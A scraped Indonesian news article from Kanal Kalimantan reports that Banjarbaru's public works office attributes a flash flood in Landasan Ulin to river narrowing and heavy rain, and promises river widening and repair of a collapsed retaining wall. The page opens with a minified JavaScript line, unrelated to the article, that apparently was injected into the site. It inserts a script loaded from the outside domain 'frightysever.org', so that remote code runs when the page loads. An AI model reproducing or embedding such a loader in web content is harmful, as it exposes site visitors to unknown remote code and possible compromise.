(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Terkait Banjir, Dinas PUPR Banjarbaru Akui Ada Penyempitan Sungai


BANJARBARU, Banjir dadakan di Landasan Ulin Selasa (6/3) petang, diduga akibat penyempitan badan sungai. Dinas PUPR Kota Banjarbaru janji akan melakukan pemeliharaan dan normalisasi beberapa titik sungai yang mengalami penyempitan.

Kepala Bidang Sumberdaya Air Dinas PUPR Banjarbaru Budi Haryana mengatakan, sejauh ini untuk sungai-sungai induk tidak bermasalah, namun ada beberapa titik sungai yang mengalami penyempitan, sehingga daya tamping air ketika debit tinggi berkurang akibatnya saat hujan besar air meluap.

“Terjadinya banjir karena luar biasanya hujan. Banjarbaru semua sungai sudah normal dan sudah dibenahi, pelihara dan dibersihkan. Pembersihan itu selain dari pemerintah kota juga ada partisipasi masyarakat,” katanya kepada Kanal Kalimantan, Rabu (7/3).

Budi Haryana menambahkan, banjir yang terjadi di Landasan Ulin karena faktor tingginya intensitas hujan yang turun. Diakui, memang ada penyempitan sungai di dekat SPBU Landasan Ulin tersebut.

“Sudah dilakukan beberapa kali pengamatan, lebar sungai berkurang jadi arus air menjadi terhenti dan tidak bisa lancar,” ujarnya.

Budi mengatakan, pihaknya akan melakukan koordinasi dengan berbagai pihak, baik itu masyarakat atau pemerintah setempat dan dinas terkait untuk usaha melakukan pelebaran sungai yang mengalami penyempitan. Juga akan mengadakan pemeliharaan dan rehabilitasi sungai di dekat SPBU Landasan Ulin A Yani Km 23 itu.

Foto : net

Terkait adanya siring jebol sepanjang 10 meter, Budi mengatakan, karena faktor durasi hujan yang tinggi mengakibatkan air di belakang siring menggenang, karena dorongan air akhirnya siring longsor.  “Siring itu diusahakan akan direhabilitasi tahun ini juga,” ucapnya.

Baca Juga: Banjir Dekat Bandara, Bukti Drainase dan Sungai Tak Beres

Ditanya terkait resapan air di wilayah Banjarbaru, menurutnya, resapan di Banjarbaru sudah diminta agar setiap komplek-komplek permukiman di Banjarbaru sudah diminta menyediakan resapan air.

Sementara terkait drainase menurutnya bukan wewenang bagian sumberdaya air. “Wewenang kami hanya terkait sungai, yang menerima dampak dari drainase jalan dan drainase pemukiman tersebut,” tutupnya. (abdullah)

Reporter: Abdullah
Editor: Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Waspada Hujan Disertai Petir dan Gelombang Tinggi di Kalsel

KANALKALIMANTAN.COM, BANJARBARU – Cuaca di Kalimantan Selatan (Kalsel) dalam sepekan ke depan diprakirakan masih didominasi… Read More

2 jam ago

BPBD Balangan Gelar Pelatihan TRC PB Tahap II di Batakan

KANALKALIMANTAN.COM, PARINGIN - Badan Penanggulangan Bencana Daerah (BPBD) Kabupaten Balangan menuntaskan tahap II pelatihan Tim… Read More

2 jam ago

1 Ramadan Resmi Jatuh Kamis 19 Februari

KANALKALIMANTAN.COM, JAKARTA — Kementerian Agama Republik Indonesia (Kemenag RI) resmi menetapkan 1 Ramadan 1447 Hijriah… Read More

14 jam ago

Hilal di Kalsel Tidak Terlihat, 1 Ramadan Menunggu Keputusan Pusat

KANALKALIMANTAN.COM, BANJARMASIN — Kantor Wilayah (Kanwil) Kementerian Agama Provinsi Kalimantan Selatan (Kemenag Kalsel) menggelar pemantauan… Read More

17 jam ago

Arti Warna Merah dalam Tradisi Imlek

KANALKALIMANTAN.COM, BANJARMASIN - Dalam perayaan Tahun Baru Imlek, ada banyak warna merah menghiasi segala aspek… Read More

21 jam ago

Ini Makna di Balik Shio Kuda Api Imlek 2026

KANALKALIMANTAN.COM, BANJARMASIN – Kuda Api menjadi shio di tahun baru Imlek 2026. Apa makna di… Read More

1 hari ago

This website uses cookies.